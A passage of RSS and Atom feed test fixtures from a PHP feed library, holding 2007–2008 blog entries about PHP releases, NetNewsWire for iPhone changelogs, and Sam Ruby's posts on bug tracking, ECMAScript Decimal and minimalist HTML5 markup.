Oct 2007 19:20:35 -0500 http://ilia.ws/archives/185-guid.html Zend Conference Slides http://ilia.ws/archives/184-Zend-Conference-Slides.html PHP Talks http://ilia.ws/archives/184-Zend-Conference-Slides.html#comments http://ilia.ws/wfwcomment.php?cid=184 1 http://ilia.ws/rss.php?version=2.0&type=comments&cid=184 ilia@ilia.ws (Ilia Alshanetsky) I've finally got a bit of free time to official post the slides from my "State of PHP Security" talk from Zend Conference 2007. You can find the slides <a href="http://ilia.ws/files/zendcon_state_of_php_security.pdf" >here</a>. The session was a bit different from the usual talks I give on security, focusing on summarizing the efforts done so far this year aimed at improving PHP's own security and the things we are still working on improving. Thu, 18 Oct 2007 19:17:45 -0500 http://ilia.ws/archives/184-guid.html FUDforum 2.7.7 Released http://ilia.ws/archives/181-FUDforum-2.7.7-Released.html FUDforum PHP http://ilia.ws/archives/181-FUDforum-2.7.7-Released.html#comments http://ilia.ws/wfwcomment.php?cid=181 1 http://ilia.ws/rss.php?version=2.0&type=comments&cid=181 ilia@ilia.ws (Ilia Alshanetsky) The stable version of FUDforum 2.7.7RC2 is now available for download. This releases' focus has been primarily bug fixing with a fair number of small issues being resolved.<br /> <br /> The install script can be found <a href="http://fudforum.org/download.php?di=135&i=1" >here</a> and the upgrade script <a href="http://fudforum.org/download.php?di=135&u=1" title="null">here</a>.<br /> <br /> The release announcement detailing all of the major changes can be found <a href="http://fudforum.org/forum/index.php?t=msg&goto= 39131" >here</a>. Mon, 01 Oct 2007 17:36:07 -0500 http://ilia.ws/archives/181-guid.html Changing of the Guard http://ilia.ws/archives/180-Changing-of-the-Guard.html PHP http://ilia.ws/archives/180-Changing-of-the-Guard.html#comments http://ilia.ws/wfwcomment.php?cid=180 3 http://ilia.ws/rss.php?version=2.0&type=comments&cid=180 ilia@ilia.ws (Ilia Alshanetsky) If you've been reading the internals list or the blogs of various PHP developers you probably know that the work on the new minor PHP branch, 5.3 has started now that the key feature list of the release has been established by a public vote on the internals list about a week ago. Some of those features, like namespaces, late static binding, __callStatic and several others have already made into the CVS.<br /> <br /> As per our tradition of changing Release Masters for every minor release, a new masochist, <img src="http://ilia.ws/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> <a href="http://schlueters.de/blog/" >Johannes Schlüter</a> will be taking of the role of RM for PHP 5.3 from me. I will continue to RM 5.2.X release, which has 1-2 releases in it still and will be actively maintained up until 5.3.0 is released into the wild, something that should happen early next year.<br /> <br /> I've been release mastering PHP 5 for almost two years now, all the way back since 5.1.0 and it has been quite challenging and interesting time, and its time for new blood so to speak. I want to congratulate Johannes on his new role that will hopefully get confirmed on internals within the next few days and wish him the best of luck and ask all of the developers to cooperate with the new RM to make his task just a little bit easier. Sat, 29 Sep 2007 10:56:57 -0500 http://ilia.ws/archives/180-guid.html U.S. Agriculture Tax on Travel http://ilia.ws/archives/179-U.S.-Agriculture-Tax-on-Travel.html Stuff http://ilia.ws/archives/179-U.S.-Agriculture-Tax-on-Travel.html#comments http://ilia.ws/wfwcomment.php?cid=179 7 http://ilia.ws/rss.php?version=2.0&type=comments&cid=179 ilia@ilia.ws (Ilia Alshanetsky) I just got my confirmation for my flight to San Francisco to ZendCon happening in early October and noticed something interesting on my invoice for the flight in the "taxes area".<br /> <br /> Taxes, Fees and Charges<br /> ---------------------------------------------------<br /> Canada Airport Improvement Fee 20.00<br /> U.S.A Transportation Tax 15.54<br /> <strong>U.S Agriculture Fee 5.15</strong><br /> Canada Security Charge 7.94<br /> Canada Goods and Services Tax (GST/HST #10009-2287) 26.01<br /> U.S.A Immigration User Fee 7.21<br /> <br /> Why would an airline ticket include the U.S Agriculture Fee, is there a tax on the air above the US farmland or something? Thu, 20 Sep 2007 09:33:42 -0500 http://ilia.ws/archives/179-guid.html Moving to Flickr http://ilia.ws/archives/178-Moving-to-Flickr.html Stuff http://ilia.ws/archives/178-Moving-to-Flickr.html#comments http://ilia.ws/wfwcomment.php?cid=178 4 http://ilia.ws/rss.php?version=2.0&type=comments&cid=178 ilia@ilia.ws (Ilia Alshanetsky) After a few years on Gallery 1.X, which with a few tweaks worked quite well for me, I've decided to make the transition to Flickr's pro account. The conversion was largely made possibly by a tweaked gallery2flickr script that allowed me to move albums over without loosing any data in a process, which is always a good thing. It still took some time, but in the end I am quite happy with the results. Flickr has some very neat features in comparison to Gallery such as geo-tagging, very convenient interface for tagging and labeling photos, which at least in Gallery 1.X was rather frustrating. <br /> <br /> My new gallery can now be found at <a href="http://www.flickr.com/photos/iliaal/" >http://www.flickr.com/photos/iliaal/</a> Tue, 04 Sep 2007 21:08:51 -0500 http://ilia.ws/archives/178-guid.html PHP 5.2.4 Released! http://ilia.ws/archives/176-PHP-5.2.4-Released!.html PHP http://ilia.ws/archives/176-PHP-5.2.4-Released!.html#comments http://ilia.ws/wfwcomment.php?cid=176 2 http://ilia.ws/rss.php?version=2.0&type=comments&cid=176 ilia@ilia.ws (Ilia Alshanetsky) After a somewhat extended release cycle PHP 5.2.4 is finally out! A fairly extensive list of changes this time with over 120 bug fixes and a fair number of small security fixes and improvements. You can find the abbreviated details about the release <a href="http://www.php.net/releases/5_2_4.php" >here</a> and the full boring details in the <a href="http://www.php.net/ChangeLog-5.php#5.2.4" >ChangeLog</a>.<br /> <br /> Thu, 30 Aug 2007 21:01:59 -0500 http://ilia.ws/archives/176-guid.html 5.2.4 RC1 Released http://ilia.ws/archives/175-5.2.4-RC1-Released.html PHP http://ilia.ws/archives/175-5.2.4-RC1-Released.html#comments http://ilia.ws/wfwcomment.php?cid=175 9 http://ilia.ws/rss.php?version=2.0&type=comments&cid=175 ilia@ilia.ws (Ilia Alshanetsky) The first RC of 5.2.4 was just released and is now available for download here:<br /> <br /> <a href="http://downloads.php.net/ilia/php-5.2.4RC1.tar.bz2" >http://downloads.php.net/ilia/php-5.2.4RC1.tar.bz2</a> (md5sum: 43e28d2aa55b6c8bcd67da16e24b225a)<br /> <br /> This release have been long in the making so the changelog is a bit intimidating, so we definitely need a lot of testing for this release. I would like to ask everyone to give this RC a shot and see how it behaves with their code and hopefully not find any regressions. If you do find any, please let us know. Thu, 02 Aug 2007 18:38:50 -0500 http://ilia.ws/archives/175-guid.html State of PHP Security at ZendCon 2007 http://ilia.ws/archives/173-State-of-PHP-Security-at-ZendCon-2007.html PHP Security Talks http://ilia.ws/archives/173-State-of-PHP-Security-at-ZendCon-2007.html#comments http://ilia.ws/wfwcomment.php?cid=173 1 http://ilia.ws/rss.php?version=2.0&type=comments&cid=173 ilia@ilia.ws (Ilia Alshanetsky) I've been so busy last few weeks I didn't get a chance to blog about the acceptance of my talk for ZendCon. So, here it is now, better late then never. This year has been quite busy in terms of security when it comes to PHP, the language and many changes were done to make the language better when it comes to security. <br /> <br /> The talk will try to summarize the many happenings in the PHP security world in to a quick one hour talk, so it should be quite an interesting challenge <img src="http://ilia.ws/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Sun, 15 Jul 2007 09:09:58 -0500 http://ilia.ws/archives/173-guid.html PHP 5.2.3 Released! http://ilia.ws/archives/172-PHP-5.2.3-Released!.html PHP http://ilia.ws/archives/172-PHP-5.2.3-Released!.html#comments http://ilia.ws/wfwcomment.php?cid=172 4 http://ilia.ws/rss.php?version=2.0&type=comments&cid=172 ilia@ilia.ws (Ilia Alshanetsky) A little less then a month had passed and we have a new PHP 5 release, 5.2.3 that can downloaded <a href="http://www.php.net/downloads.php" >here</a>. As with the prior patch level releases in 5.2.branch, the work continued on improving stability (over 40 bug fixes) and security with a 6 additional security fixes and improvements added. Also, this version contains a few optimizations that hopefully will make this the fastest 5.2 release yet, with improvements in string processing, md5()/sha1() generation and few less syscalls per request.<br /> <br /> The official release announcement can be found <a href="http://www.php.net/releases/5_2_3.php" >here</a> and the nitty gritty details can be seen in the <a href="http://www.php.net/ChangeLog-5.php#5.2.3" >ChangeLog</a>.<br /> <br /> I am also happy to say that two regressions introduced by prior releases were addressed, relating to timeouts on non-blocking SSL connection as well as lack of HTTP_RAW_POST_DATA under certain conditions. Thu, 31 May 2007 19:57:08 -0500 http://ilia.ws/archives/172-guid.html PHP|Tek 2007 - Security Pitfall Slides http://ilia.ws/archives/171-PHPTek-2007-Security-Pitfall-Slides.html PHP Security Talks http://ilia.ws/archives/171-PHPTek-2007-Security-Pitfall-Slides.html#comments http://ilia.ws/wfwcomment.php?cid=171 0 http://ilia.ws/rss.php?version=2.0&type=comments&cid=171 ilia@ilia.ws (Ilia Alshanetsky) Thanks to the surprisingly well working wifi at the moment the slides from the PHP Security pitfalls are now available can be downloaded <a href="http://ilia.ws/files/phptek2007_secpitfalls.pdf" >here</a>.<br /> <br /> I hope everyone who had been present at the talk had found something interesting that will help them improve the security of their code. Thu, 17 May 2007 17:47:01 -0500 http://ilia.ws/archives/171-guid.html PHP|Tek 2007 Tutorial Slides http://ilia.ws/archives/170-PHPTek-2007-Tutorial-Slides.html PHP http://ilia.ws/archives/170-PHPTek-2007-Tutorial-Slides.html#comments http://ilia.ws/wfwcomment.php?cid=170 5 http://ilia.ws/rss.php?version=2.0&type=comments&cid=170 ilia@ilia.ws (Ilia Alshanetsky) The two tutorials at php|tek went rather well, I am still surprised my voice held up for 6 hours of talking. The slides in PDF form can be found below:<br /> <br /> <a href="http://ilia.ws/files/phptek2007_security.pdf" >Securing PHP Applications</a><br /> <br /> <a href="http://ilia.ws/files/phptek2007_performance.pdf" >PHP &amp; Performance</a> Wed, 16 May 2007 09:53:35 -0500 http://ilia.ws/archives/170-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-inessential.com-xml-rss.xml0000664000175000017500000003551612653701626026221 0ustar janjan inessential.com http://inessential.com/ Brent Simmons' weblog. en-us brent@ranchero.com brent@ranchero.com Sat, 19 Jul 2008 06:10:29 GMT Sat, 19 Jul 2008 06:10:29 GMT NetNewsWire progress report: 1.0.7, now with feed removing http://inessential.com/?comments=1&postid=3510 <p> I just built NetNewsWire 1.0.7. I have no idea when you&rsquo;ll see it, when it&rsquo;ll get into the App Store &mdash; I&rsquo;m just keeping you up-to-date on progress. </p> <p> Change notes (since the last time I posted, which was for 1.0.5): </p> <p> <strong>1.0.7</strong> </p> <p> - You can unsubscribe from feeds or just remove them from the iPhone. (That is, you can remove them from the iPhone location. They&#039;ll continue to appear in other locations.) Click the Edit button to start. Click the circle button, then the Delete button. An action sheet will pop up asking you what you want to do. (Don&#039;t Show in iPhone or Unsubscribe Everywhere. Or Cancel.) </p> <p> - Fixed a crashing bug that could happen when going to the Next Unread item. </p> <p> - Fixed a cause of database-busy errors that could come up when saving a favicon. </p> <p> <strong>1.0.6</strong> </p> <p> - Does more when receiving a memory warning message -- it dumps cached feed and news item objects (except for the current sub). </p> <p> - Fixed a small, rare memory leak in the RSS parser. (Did a big leak hunt -- even used scan-build -- and this is all I could find.) </p> <p> - Fixed a bug introduced in 1.0.5 that could let unread counts get out of sync. </p> <p> </p> http://inessential.com/?comments=1&postid=3510 Sat, 19 Jul 2008 06:10:29 GMT Long-term brain confusion http://inessential.com/?comments=1&postid=3509 <p> There are a few things that have confused me all my life. One is the issue of higher numbers. </p> <p> By that I mean &mdash; which number is higher, 1 or 2? 10 or 7? </p> <p> I always get it wrong. Here&rsquo;s why: </p> <p> 1. Here is a list. </p> <p> 2. Here&rsquo;s a second item. </p> <p> 3. Here&rsquo;s a third item. </p> <p> Which number is higher? #1, clearly, is higher &mdash; it&rsquo;s above the subsequent numbers. Just look at it &mdash; it&rsquo;s totally, obviously, unquestionably higher. </p> <p> But no. Everyone else thinks the other way. Despite the clear evidence of their eyes. </p> http://inessential.com/?comments=1&postid=3509 Thu, 17 Jul 2008 18:26:51 GMT Working on deleting feeds http://inessential.com/?comments=1&postid=3508 <p> Another NetNewsWire for iPhone progress report... </p> <p> I&rsquo;ve been working on NetNewsWire 1.0.6 since yesterday. The main new feature in 1.0.6 will be deleting feeds. When you delete a feed, you have two options of how to delete it: </p> <p> 1. Don&rsquo;t Show in iPhone &mdash; removes it from your iPhone location, but leaves it intact in other places </p> <p> 2. Unsubscribe Everywhere </p> <p> I thought about just doing #1 &mdash; but I think it would seem weird not to be able to unsubscribe from a feed completely, so I&rsquo;m doing both. </p> <p> And then, of course, there are still more bug fixes and some new features to do. Work continues, as always. </p> <p> PS Had a root canal yesterday. I like joking that &mdash; given the amount of stress I&rsquo;m in waiting for my updates to appear on the App Store &mdash; the couple hours lying down in the dentist&rsquo;s chair was a nice, relaxing break. ;) </p> http://inessential.com/?comments=1&postid=3508 Thu, 17 Jul 2008 18:05:39 GMT Change notes for NetNewsWire for iPhone 1.0.5 http://inessential.com/?comments=1&postid=3507 <p> Below are the change notes (edited for profanity and such) for NetNewsWire for iPhone 1.0.5. It&rsquo;s not up on the store yet &mdash; 1.0.2 is still In Review. But, one of these days, you&rsquo;ll get an update. </p> <p> (I feel very good about this build, especially regarding performance issues. It&rsquo;s much better than 1.0.) </p> <p> I&rsquo;m not totally sure why I&rsquo;m posting these, other than that it keeps me from feeling like a black box where you can&rsquo;t see in. </p> <p> Anyway... </p> <p> <b>Changes in 1.0.5 (since 1.0.4):</b> </p> <p> - Scrolling is faster in the Feeds list -- now re-using a table cell instead of creating a new one for each row. (Which I had been doing to work around a [REDACTED] in an earlier [REDACTED] of the iPhone [REDACTED]. Glad I don&rsquo;t have to anymore.) </p> <p> - The + button is now an action-menu button -- because it will have more than just Add to Clippings in it. (Things like email-link, mark-unread, and send-to-Twitterrific will go in there.) </p> <p> - Email Link now appears in the action menu for news items and for web pages. Both create a new outgoing message in MobileMail with no recipient, but with subject and body filled in. (The link is the body.) </p> <p> - Fixed a bug where feeds with blank names could appear (because their titles haven&rsquo;t been retrieved yet -- now we&rsquo;re retrieving them first). </p> <p> - Fixed a bug where GetSubscriptionsList (a server call) would be called at times unnecessarily. </p> <p> - Fixed a bug where a refresh/sync session would happen twice sometimes, unnecessarily. </p> <p> - The application icon on the home screen now gets the unread count badge. </p> <p> - Total unread count appears at bottom-left of Feeds page (except during refresh/sync). </p> <p> - Reversed delete-older-than-two-weeks change from 1.0.4 -- because [REDACTED] [REDACTING] help me if unread counts don&rsquo;t match with the iPhone and other readers. I&rsquo;d be explaining it for the remainder of my natural-born existence. </p> <p> - It&rsquo;s now faster to rebuild the Feeds list -- not rebuilding all unread counts every time it loads. </p> <p> - When downloading feeds, the status message says the name of the feed, so you can better tell what&rsquo;s happening. (This change, plus putting the unread count at the bottom-left, also have the effect of making this <em>feel</em> like NetNewsWire.) </p> <p> - On the news items list view, the Mark All as Read button now does not appear if all items are read. </p> http://inessential.com/?comments=1&postid=3507 Wed, 16 Jul 2008 19:18:24 GMT iPhone model http://inessential.com/?comments=1&postid=3506 <p> As a software developer, the one thing I&rsquo;m good at is listening to users. </p> <p> I&rsquo;ve always worked in public or semi-public: release, listen to feedback, release, listen, repeat forever. I worked this way for years UserLand. All of NetNewsWire was developed this way, beginning with the very earliest betas of NetNewsWire Lite back in 2002. </p> <p> My entire career has been about software development as social activity (and a little bit as public performance, I admit). </p> <p> I don&rsquo;t know another way to do this &mdash; and, if I did, that other way probably wouldn&rsquo;t suit my temperament. It may not be the best way to do software, but it&rsquo;s the way that works for me. </p> <p> Which is why I&rsquo;m more than a little bit at sea with the iPhone development experience. Getting beta testers is a technical and <em>legal</em> challenge. And I&rsquo;m used to having hundreds, not just a few. Discussing development and design issues with other developers is usually a valuable thing, but there&rsquo;s an NDA in the way. </p> <p> But, then, well, in theory I can do frequent public releases, get lots of feedback, and keep the cycle going. Great theory. Works for me! </p> <p> Of course, that is, if I had a way to get my releases to the public... That&rsquo;s where I&rsquo;m bugged. I keep getting feedback on stuff I fixed or changed days ago. And no feedback on the recent changes. </p> <p> <img src="http://inessential.com/images/atom.gif" width="29" height="30" alt="" /> </p> <p> Anyway, just thought I&rsquo;d wave hi from out here on the waves. </p> http://inessential.com/?comments=1&postid=3506 Tue, 15 Jul 2008 18:16:46 GMT NetNewsWire for iPhone progress http://inessential.com/?comments=1&postid=3505 <p> I&rsquo;ve been working like crazy on updates to NetNewsWire for iPhone &mdash; but, unfortunately, updates aren&rsquo;t being pushed to the App Store yet. I don&rsquo;t know why, though I imagine it&rsquo;s just that things are crazy in the early days. </p> <p> I don&rsquo;t know when updates will go out &mdash;&#160;wish I did. </p> <p> In the meantime, here&rsquo;s what I&rsquo;ve been doing, and here&rsquo;s the plan: </p> <p> 1. I&rsquo;ve been fixing bugs and performance issues, and implementing some of the more obvious features. (Not done yet, but getting there.) </p> <p> Some of the obvious features include things like email-link, choose-clippings-folder, send-to-Twitterrific, mark-as-unread, and remove-feed-from-iPhone-location. </p> <p> The plan is to finish this up &mdash; make stable and fleshed-out the app as it exists right now. </p> <p> 2. Then I&rsquo;ll revisit the user interface. A number of people have asked for something like a Combined View, where you see excerpts of news items. A reasonable request, absolutely. But the plan is to shore things up in #1 first, then move on to this, once there&rsquo;s a stable base with a more complete set of features. </p> <p> Again, I have no idea when any updates will actually appear. But I have indeed been working as quickly as I can &mdash; I&rsquo;ve been pretending to myself that you&rsquo;re actually getting the updates. ;) (Though not completely satisfying, the pretense fools me enough to keep me going.) </p> <p> PS Here are my change notes since last Friday: </p> <p> <b>1.0.4</b> </p> <p> - Worked around feeds without titles -- pulls the title from the first words in the description. (Instapundit&#039;s feed, for instance.) </p> <p> - Worked around feeds that forget to put an "http://" at the beginning of their home page link. </p> <p> - Tightened up metadata display on news item view: categories now appear at the bottom. There&#039;s now a space rather than a line break before the author name. </p> <p> - Performance: lots of parsing and processing happens in background threads now, so as not to block the main UI thread. </p> <p> - Performance: at parse time, now ignoring any items published more than two weeks ago. This cuts down on the sheer amount of data the app has to manage, and it goes with the idea that the iPhone reader is for reading what&#039;s new. It&#039;s not meant to deal with an archive. </p> <p> - Performance: at startup, deletes news items more than 2 weeks old. (See above for reason.) </p> <p> <b>1.0.3</b> </p> <p> - Small performance gain by not invalidating all unread counts every time a news item changes status. Just invaliding unread counts for affected feeds and folders. </p> <p> - When you open a web page inline, it opens in a new view (it slides over, etc.) You can then go back to the news item view. </p> <p> - Add to Clippings now works for web pages. </p> <p> - The Next Unread button in the web page view moves you back to the news item view before showing the next unread. </p> <p> - Settings are now in the main Settings.app, rather than in NetNewsWire. The Account button is gone. (Note: you still enter username and password in the app the first time you run the app, of course. And you enter username and password in the app if there&#039;s an authentication error.) </p> <p> - Doesn&#039;t always refresh/sync at startup -- only if the last refresh/sync was more than 5 minutes ago. </p> <p> - Fixed a caching bug where new news items sometimes wouldn&#039;t get displayed. </p> <p> - Now displays unread items only (and only feeds with unread items). </p> <p> - Added a default screenshot so you get something besides black as the app is loading. </p> <p> <b>1.0.2</b> </p> <p> - Decreased the font size of the title in the news item view. </p> <p> - If there&#039;s an authentication error contacting our sync server, it&#039;s reported and you can re-enter username and password. </p> <p> - Bigger fonts for text fields in setup and options screens. </p> <p> - Fixed a crashing bug due to a missing lock. </p> <p> - Empties the favicon cache if app receives memory-low warning. </p> <p> - After tapping Mark All as Unread, go back to Feeds view. </p> <p> - Fixed a couple small memory leaks. </p> <p> - Mark news item as read the moment the webview starts loading, rather than waiting until it has loaded (which may not happen if you&#039;re off-network). </p> http://inessential.com/?comments=1&postid=3505 Tue, 15 Jul 2008 17:21:51 GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-intertwingly.net-blog-index.atom0000664000175000017500000014727712653701626027245 0ustar janjan http://intertwingly.net/blog/index.atom ../favicon.ico Sam Ruby It’s just data Sam Ruby rubys@intertwingly.net /blog/ 2008-07-21T19:02:00-04:00 tag:intertwingly.net,2004:2873 Life after Bug Tracking Systems

    Avery Pennarun: The git developers don’t track bugs. If you find a bug, you can write about it on the mailing list. You might get flamed. And then probably someone will ask you to fix it yourself and send in a patch.  This is unlike almost all other open source projects.

    Sometimes ideas take time to percolate.  When I first saw Avery’s post, it didn’t quite sink in.

    Avery Pennarun: The git developers don’t track bugs. If you find a bug, you can write about it on the mailing list. You might get flamed. And then probably someone will ask you to fix it yourself and send in a patch.  This is unlike almost all other open source projects.

    Sometimes ideas take time to percolate.  When I first saw Avery’s post, it didn’t quite sink in.

    When I started playing with hg, I noticed that I was applying a different style of development than I previously had done.  One that I felt more comfortable with.  And I thought again about Avery’s post.

    And when I came across Chad Wooley’s comment: But using your SCM as a messaging platform?  Come on, that’s taking the social networking thing too far...  I pray that I never see the official Twitter channel for an open source project I care about, because I ain’t going there...; I once again thought about Avery’s post.

    It now occurs to me that not all projects need bug tracking systems.  In fact, for some projects, not having a bug tracking system may very well be a feature.  In particular, if the bug tracking system on your project is the place where feedback goes to die, you might be better served not having one.  But if you do decide to go this way, you would be well served to consider one of the various DVCS systems out there, like bzr, hg, and git.

     2008-07-18T10:34:20-04:00     tag:intertwingly.net,2004:2872 Stalled Tickets

    Joseph Scott: we can definitely use more people looking at the XML-RPC and AtomPub code.

    My experience matches Jeff’s, namely that post 2.3; contributions of time in terms of showing up on the IRC channel; producing and commenting on both bug and feature requests; and in terms producing actual patches, rarely produces the desired result.

    Joseph Scott: we can definitely use more people looking at the XML-RPC and AtomPub code.

    My experience matches Jeff’s, namely that post 2.3; contributions of time in terms of showing up on the IRC channel; producing and commenting on both bug and feature requests; and in terms producing actual patches, rarely produces the desired result.  An en example, this ticket was explicitly opened based on a request from Joeseph in order to obtain feedback, and to date it has received none.

    That’s fine — I for one certainly have plenty of other places to focus my attention — but if the WP team wants more people looking at ares such as XHTML, Atom and/or AtomPub code, IMHO there needs to be a person with commit access to the codebase who is actively engaged in facilitating these efforts.

     2008-07-15T13:21:02-04:00     tag:intertwingly.net,2004:2871 Tracking Towards Decimal Support in Firefox

    Bug 445178 (decimal) – Implement Decimal Support

    Thanks John!

    Update: Downloadable standalone SpiderMonkey executables for Darwin, Linux, and Windows.

     2008-07-14T13:54:18-04:00 2008-07-14T20:59:27-04:00     tag:intertwingly.net,2004:2870 Hello Decimal World 
    js> print(new Decimal("8.5"));
8.5

    OK, so it is not much yet.  But it is a constructor, a toString method, and a finalizer.  And it makes use of decQuadFromString and decQuadToString from the decNumber library.  And it is in the context of a real codebase, namely SpiderMonkey, which is what Firefox uses.  And it is in a public repository that you can clone, pull, and download from; and perhaps even try building yourself or patching.

     2008-07-12T07:23:00-04:00     tag:intertwingly.net,2004:2869 Decimal in ECMAScript

    Monetary units around the world are often expressed in terms of decimal numbers.  You would think that by this time computers would be adept at handling such, but as this page indicates, sadly such is not the case for JavaScript today.  This befuddles businessmen and causes application developers to focus attention on unnecessary details unrelated to solving the problem at hand.

    One of my tasks is to write the spec text for future revisions of ECMAScript to address this by introducing a notion of a Decimal class.  As currently envisioned, this will be accomplished in three layers.
    10

    Monetary units around the world are often expressed in terms of decimal numbers.  You would think that by this time computers would be adept at handling such, but as this page indicates, sadly such is not the case for JavaScript today.  This befuddles businessmen and causes application developers to focus attention on unnecessary details unrelated to solving the problem at hand.

    One of my tasks is to write the spec text for future revisions of ECMAScript to address this by introducing a notion of a Decimal class.  As currently envisioned, this will be accomplished in three layers:

    • The first layer provides a constructor for Decimal with a string argument, and a number of class ("static") methods modeled after the decFloats module in the decNumber library, and a bare minimum of instance methods, such as toString.
    • The second layer provides a number of convenience methods inspired by Java’s BigDecimal class.
    • The third layer introduces decimal literals (e.g. 1.2m, and no, I don’t know what m stands for) and infix operators.

    One thing standards bodies often value is independent implementations.  Accordingly, I plan to integrate the decNumber library into the Mozilla codebase.  The decNumber library is made available under a very liberal license and will do all the heavy lifting, all I will need to focus on is a bit of glue code.

    Since the last time I looked at the Mozilla codebase, it has moved from CVS to Mercurial.  I’ve managed to check out both Mozilla central and a jsuni branch, and build firefox from source.  The jsuni branch proports to reenable the ability to build a standalone js executable, but at the moment this does not appear to be the case.

    If anybody has any pointers on how to build a standalone js executable and how to trigger the execution of the unit tests, I would appreciate it.  I’m sure it is a simple matter of RTFM, if I can only find the right M.

     2008-07-11T05:56:26-04:00     tag:intertwingly.net,2004:2868 Above All

    My son voluntarily enlisted in the Air Force yesterday.  He heads off for Basic Training on October 28th.

    I’m not yet sure of the details, but apparently his assignment will involve the maintenance and service of on-board radar equipment.

    My son voluntarily enlisted in the Air Force yesterday.  He heads off for Basic Training on October 28th.

    To be honest, that would not have been my first choice for him.  At a minimum, I would have preferred that he finish college first.  But in the end, it is his choice to make.  All that I can and did do as a parent is ensure that he had plenty of choices available to him.

    My maternal grandfather, my wife’s father and his three brothers all served in various armed forces.

    I’m not yet sure of the details, but apparently his assignment will involve the maintenance and service of on-board radar equipment.

     2008-07-11T04:52:48-04:00     tag:intertwingly.net,2004:2867 Victim of Success

    Joe Gregorio: The rapid ascendency of distributed version control

    Anybody know where I can find a recent tarball for Mercurial?  The download site appears to be down.

     2008-07-10T14:12:58-04:00     tag:intertwingly.net,2004:2866 More Minimalistic Markup
    Continuing my minimalist markup quest, I’ve converted posts to be mostly valid HTML5.  The overall structure is correct, but individual comments may only be well-formed but may contain deviations from validity.  Most posts will have no span, div, or table elements.  Over time, the hope is to make it so that all new comments are valid.

    Continuing my minimalist markup quest, I’ve converted posts to be mostly valid HTML5.  The overall structure is correct, but individual comments may only be well-formed but may contain deviations from validity.  Most posts will have no span, div, or table elements.  Over time, the hope is to make it so that all new comments are valid.

    The HTML5 Validator is currently down, so I proceeded to install a local copy.  Other than having to make the following change, all went smoothly.

    ===================================================================
--- build.py    (revision 58)
+++ build.py    (working copy)
@@ -77,7 +77,7 @@
   ("http://www.slf4j.org/dist/slf4j-1.4.3.zip", "5671faa7d5aecbd06d62cf91f990f80a"),
   ("http://www.nic.funet.fi/pub/mirrors/apache.org/commons/fileupload/binaries/commons-fileupload-1.2-bin.zip", "6fbe6112ebb87a9087da8ca1f8d8fd6a"),
 #  ("http://mirror.eunet.fi/apache/xml/xalan-j/xalan-j_2_7_1-bin.zip", "99d049717c9d37a930450e630d8a6531"),
-  ("http://mirror.eunet.fi/apache/ant/binaries/apache-ant-1.7.0-bin.zip" , "ac30ce5b07b0018d65203fbc680968f5"),
+  ("http://archive.apache.org/dist/ant/binaries/apache-ant-1.7.0-bin.zip" , "ac30ce5b07b0018d65203fbc680968f5"),
   ("http://surfnet.dl.sourceforge.net/sourceforge/iso-relax/isorelax.20041111.zip" , "10381903828d30e36252910679fcbab6"),
   ("http://ovh.dl.sourceforge.net/sourceforge/junit/junit-4.4.jar", "f852bbb2bbe0471cef8e5b833cb36078"),
   ("http://dist.codehaus.org/stax/jars/stax-api-1.0.1.jar", "7d436a53c64490bee564c576babb36b4"),

    I’m also experimenting with hoisting the author’s name to a floating aside in the top right of each comment.

    Sections are used to group comments by days.  These groupings will adjust based on your local time zone.

    The pages themselves display reasonably consistently between the three browsers that I have been testing with (Firefox 3.0, Safari 3.1.2, Opera 9.5), and mostly differ in the amount of support they have for CSS-based rounded corners (full, partial, none; respectively).

     2008-07-10T00:37:31-04:00     tag:intertwingly.net,2004:2865 Atom Store Interop

    Bryon Jacob and Chris Berry: AtomServer is an off-the-shelf implementation of an Atom Store. It is implemented as a Java web application, and should deploy into any J2EE Servlet Container. Under the covers, AtomServer uses the Apache Project’s open-source implementation of the Atom Protocol, called Abdera, to process the RESTful verbs and XML vocabulary of Atom.

    I see that it has test cases.  Good.

    If AtomServer is a framework extracted from Homeaway, I wonder if a generic Atom Store test suite could be extracted from the AtomStore test cases.

    The thoughts are that perhaps it might be handy to have a Python one that can be deployed on Google App Engine, or a PHP version that could be run pretty much anywhere...

     2008-07-07T15:41:06-04:00     tag:intertwingly.net,2004:2864 authoritative=true

    Eric Lawrence: we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type

    While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to institutionalize the practice with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.

     2008-07-02T21:37:10-04:00     tag:intertwingly.net,2004:2863 June 31st

    Bill de hÓra: You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.

    Update: seems to be better now. Will leave with this somewhat odd page.

     2008-06-30T19:45:52-04:00 2008-06-30T20:20:28-04:00     tag:intertwingly.net,2004:2862 Unable to Complete the Call as Dialed

    Tim Bray: I’m not sure whether this free-TLD idea is a good or bad thing in the big picture

    Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.

    Tim Bray: I’m not sure whether this free-TLD idea is a good or bad thing in the big picture

    When I was a young’un, telephone area codes in North America had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.

    This meant that the PBX equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.

    The modern equivalent of this may be email addresses.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.

     2008-06-26T20:42:00-04:00     tag:intertwingly.net,2004:2861 Minimalist Markup

    While Ryan, James, and Mark have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.

    My front page (under development) will be valid HTML5 and yet have absolutely no div or span elements, no inline style or class attributes, and no table or img elements used purely for layout purposes.

    While Ryan, James, and Mark have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of em in SVG dimensions.

    This means that my front page (under development) can be valid HTML5 and yet have absolutely no div or span elements, no inline style or class attributes, and no table or img elements used purely for layout purposes.

